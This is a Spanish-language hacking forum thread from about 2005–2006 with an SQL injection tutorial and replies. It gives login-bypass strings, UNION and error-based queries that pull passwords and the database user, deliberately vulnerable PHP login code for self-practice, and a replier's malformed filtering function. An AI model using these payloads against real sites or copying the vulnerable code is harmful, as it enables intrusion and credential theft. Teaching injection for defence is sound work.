elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
07 Julio 2008, 03:16  



+  Foro de elhacker.net
|-+  Informática
| |-+  Tutoriales - Documentación (Moderador: yeikos)
| | |-+  Tutorial de Inyección SQL (SQL Injection)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 Ir Abajo Imprimir
Autor Tema: Tutorial de Inyección SQL (SQL Injection)  (Leído 35160 veces)
sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 4.201


HAND


Ver Perfil WWW
Tutorial de Inyección SQL (SQL Injection)
« en: 10 Diciembre 2005, 04:34 »

Tutorial de Inyección SQL. (SQL Injection)
Por SirDarckCat

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.



ATENCIÓN

Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.

información sobre su implementación en PHP se puede encontrar en
http://php.net/mysql
http://dev.mysql.com/



Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las “magic quotes” desactivadas.

Ejemplo 1
Código:
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- código largo cortado --
Código:
if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}

Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.

como podemos hacer que no devuelva false??
  • Con el password correcto
  • Haciendo trampa

Logicamente, no usaremos la primera opción xD

Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..

SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'

ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:

SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'

y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(

Ahora, con un poco de creatividad:
de usuario:    Pegaso
de password: ' OR ''='

la sentencia SQL recibira:
 
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''

nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.

Otros posibles valores que devuelven true son:
  • usuario: Pegaso AND /*   password: */ ''='
  • usuario: ' OR 1=1 //

Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta encriptado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo

Ejemplo 2
Código:
$us=$_POST[‘usuario’];
$pas=$_POST[‘pass’];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
Código:
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}


Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.

Ahora, queremos sacar el password.. pero.. ¿como?

Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
  • Necesitas meter la misma cantidad de valores que tiene la tabla.
  • Tener un informe de los errores que provocaremos en la instrucción

Bien ahora empezemos.
la instrucción a modificar es la siguiente:

SELECT password FROM usuarios WHERE user = '$us'

como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:

SELECT password FROM usuarios WHERE user = 'zanahoria'

Otra vez necesitamos creatividad :D
regresemos al UNION.

UNION necesita que el numero de columnas sea igual, sino sacara un error.

y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.

el UNION se usa de esta forma:

usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

para lo cual SQL nos respondera:
Citar
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''

Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)

Quedaria algo asi:

' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria

la sentencia seria esta:

SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'

que nos da como error:
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.

donde el password es naranja   8) 8)


Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits, solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).

el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='


y nos regresa:
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:

' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='

y eso nos regresa:

Citar
root@localhost

esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.

Para ver el metodo completo de acidbits, da click aquí.

Ejercicio :):
¿Que puedes hacer con esta sentencia?
Código:
$sql="UPDATE clicks set dat=now(), aas=aas+1 where  ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());

Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.

Proximamente:
Blind SQL Inyection

Citar
(c) Sirdarckcat 2005
Autorizo la reproducción total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/
« Última modificación: 11 Julio 2006, 12:05 por Sdc » En línea

sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 4.201


HAND


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #1 en: 10 Diciembre 2005, 04:42 »

« Última modificación: 01 Abril 2006, 05:57 por SirDarckCat » En línea

Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 1.983


Ralph Wiggum


Ver Perfil
Re: Tutorial de Inyección SQL
« Respuesta #2 en: 10 Diciembre 2005, 13:26 »

Espero con entusiamo el Blind SQL Injection  :D :D :D

Gracias, muy bueno.

Citar
Parece que no estás autorizado para descargar o ver attachments en este foro.
« Última modificación: 10 Diciembre 2005, 13:31 por Ertai » En línea

Si la felicidad se comprara, entonces el dinero sería noble.
Rey11
*****
Desconectado Desconectado

Mensajes: 3.216


¡¡VIVA ESPAÑA!!


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #3 en: 13 Diciembre 2005, 21:08 »

Sirdarckcat, no puedo descargar los atachament de este foro, podrías subirlo a algún otro sitio. Saludos  8)
En línea

Obtenga su foro smf gratuito en:
Unete a la campaña contra educación para la ciudadanía:
http://torrijos.myminicity.es/
whaky
***
Desconectado Desconectado

Mensajes: 149


Angel del Infierno


Ver Perfil
Re: Tutorial de Inyección SQL
« Respuesta #4 en: 15 Diciembre 2005, 15:33 »

gracias por tu manual Sirdarckcat
En línea

Los muertos hablan y las paredes oyen
por si acaso nunca reveles tu identidad.
/* strcpy() */
*****
Desconectado Desconectado

Mensajes: 368


FLEMA - The Ramones - Sex Pistols


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #5 en: 15 Diciembre 2005, 16:01 »

Muy bueno el tuto,es bueno como mustras con los ejemplos.
Esto me hizo querer aprender PHP + SQL y salir a explotar vulnerabilidades (por diversion, no por provecho xDDD)
Saludos
En línea

Sigo asi
Soy feliz
yo elegí
Sexo, Drogas y PunkRock
Isirius
*****
Desconectado Desconectado

Mensajes: 2.232


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #6 en: 17 Diciembre 2005, 12:02 »

Ahora me leere este y el de XSS Y intentare entenderlo y aplicarlo buscar en paginas asi estare mas preparaado para el proyecto jejejej.
En línea

marcela126
*
Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: Tutorial de Inyección SQL
« Respuesta #7 en: 21 Diciembre 2005, 05:20 »

hola
pues la vdd yo entendi la mayoria de la parte de el tutorial pero lo que no entendi fue en donde inyectas el codigo que modificaste  :huh:
En línea
sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 4.201


HAND


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #8 en: 23 Diciembre 2005, 05:47 »

Que raro que ustedes no puedan descargarlo..
Citar
hackme.zip (0.76 KB - descargado 20 veces.)
en fin..
Código:
<?php
// Llena estos campos de acuerdo a tu configuración

$dbuser="";
$dbpass="";
$dbhost="";
$dbdata="";

$pass=$_POST['pass'];
$login=$_POST['login'];
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
// CONFIGURAR SEGUN TU BASE DE DATOS
$co = mysql_connect($dbhost, $dbuser, $dbpass);
// CONFIGURAR SEGUN TU TABLA
mysql_select_db($dbdata,$co);
if ($pass=='')
{
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">&nbsp;
<p align="center"><b>Password del admin:</b><input type=text name=pass>&nbsp;
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
}else{
// CAMBIAR EL NOMBRE DE LA TABLA
  $entrada = mysql_query("SELECT usuario FROM tabla Where usuario='$login' and password='$pass'",$co) or die(mysql_error());
  if(mysql_num_rows($entrada)=='0')
  {
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
  }else{

echo 'Usted se nos logeo con éxito <br> Bienvenido';
}

}
mysql_close($co);
 ?>

marcela, el código lo colocas en un <input> o en la dirección de internet "?id=".. cualquier campo que entre en la petición SQL.
un lugar comun es un contador de visitas.. ponen ref¡d=51124 donde 51124 es el id de la persona a la que le van a pagar por ese click.. y muchas veces no tienen ls magic activadas.. o no ponen comillas asi que hace nuestro trabajo aun mas sencillo.
En línea

marcela126
*
Desconectado Desconectado

Mensajes: 22


Ver Perfil
Re: Tutorial de Inyección SQL
« Respuesta #9 en: 23 Diciembre 2005, 21:08 »

hola, wueno tengo una pregunta..para que es el codigo de hackme.zip..ese lo subo a un host y pongo los datos de el server de otra pag en el cod y pongo el pass y eso?
En línea
sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 4.201


HAND


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #10 en: 24 Diciembre 2005, 01:44 »

Si marcela, es para que practiques una inyección SQL..
En línea

SeniorX
*****
Desconectado Desconectado

Mensajes: 1.322


Programador Novato


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #11 en: 13 Enero 2006, 21:20 »

Citar
<?php
// Por reydelmundo11
// quitar el comentario de la linea siguiente

// magic_quotes_gpc = Off;
?>
Nose como funciona eso :S.... pero para saber si las magic quotes estan activadas basta con hacer
Citar
<?php
echo  get_magic_quotes_gpc(); //te dice 0 si esta desactivadas y 1 adivinen cuando XD
?>

Muy bueno el tutorial, ahora mismo estoy haciendo la practica con hackme.php.
Solo me resta una pregunta: Si tiene magic quotes activadas, no se puede hacer NADA? he visto maneras de saltar eso haciendo
Citar
s%') UNION SELECT
Nunca he practicado sql inyection (buscando yo) pero se como prevenirme XD, y como recomendacion diria que es bueno filtrar TODOS los datos que el usuario pueda escribir... y con eso quedariamos limpios.

Ahhh y se me olvidaba,en form action = login.php, :P no existe, seria mejor poner php_self, pero eso no fue lo hice yo.

Ojalá que no te moleste (y bueno si te molesta.... lo borras XD)

Me tome la libertad de hacer el ejercicio mas amigable men :D, por lo tanto pongo el codigo :):

hackme.php
Código:
<?php
// Por reydelmundo11
$resp = get_magic_quotes_gpc();
if ($resp == 0 ) {
echo "Ok ok... tenemos serios problemas de seguridad";
} else {
echo "Todo bien :)";
}
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">&nbsp;
<p align="center"><b>Password del admin:</b><input type=text name=pass>&nbsp;
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
?>


login.php

Código:
<?php
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
require ("../../config.inc.php");
conectar();
$entrada = mysql_query("SELECT usuario FROM usuarios Where usuario='$login' and password='$pass'",$conn) or die(mysql_error());
  if(mysql_num_rows($entrada)=='0')
  {
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
  }else{

echo 'Usted se nos logeo con éxito <br> Bienvenido';
}
?>

Si sabes sql se hara muy facil resolver el ejercicio :), ah y recuerden que yo no hice el ejercicio, sino Sirdarckcat.

Chau
« Última modificación: 13 Enero 2006, 21:45 por SeniorX » En línea

Código:
try {
     live();
}
catch (ShitHappensException ex) {
MessageBox.Show(ex.Solution)
}
Precaución: La programacion puede producir adiccion
Rey11
*****
Desconectado Desconectado

Mensajes: 3.216


¡¡VIVA ESPAÑA!!


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #12 en: 15 Enero 2006, 22:29 »

Y con esto te puedes cargar las mysql inyection:
Citar
@set_magic_quotes_runtime(0);
Además de con esto:
Código:
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Saludos  ::)
En línea

Obtenga su foro smf gratuito en:
Unete a la campaña contra educación para la ciudadanía:
http://torrijos.myminicity.es/
sirdarckcat
sdc
CoAdmin
*****
Desconectado Desconectado

Mensajes: 4.201


HAND


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #13 en: 16 Enero 2006, 02:56 »

Y con esto te puedes cargar las mysql inyection:
Citar
@set_magic_quotes_runtime(0);
Además de con esto:
Código:
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Saludos ::)
xD
http://mx2.php.net/str_replace
la sintaxis que usas esta completamente mal.

seria algo asi:
$valor = str_replace("cosa-mala","//////",$valor);

::) xD

Saludos!!
En línea

Rey11
*****
Desconectado Desconectado

Mensajes: 3.216


¡¡VIVA ESPAÑA!!


Ver Perfil WWW
Re: Tutorial de Inyección SQL
« Respuesta #14 en: 17 Enero 2006, 22:52 »

Pues yo lo uso de la otra manera y no me saca fallo....
Saludos  ::)
En línea

Obtenga su foro smf gratuito en:
Unete a la campaña contra educación para la ciudadanía:
http://torrijos.myminicity.es/
Páginas: [1] 2 3 Ir Arriba Imprimir 
Ir a:  








Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC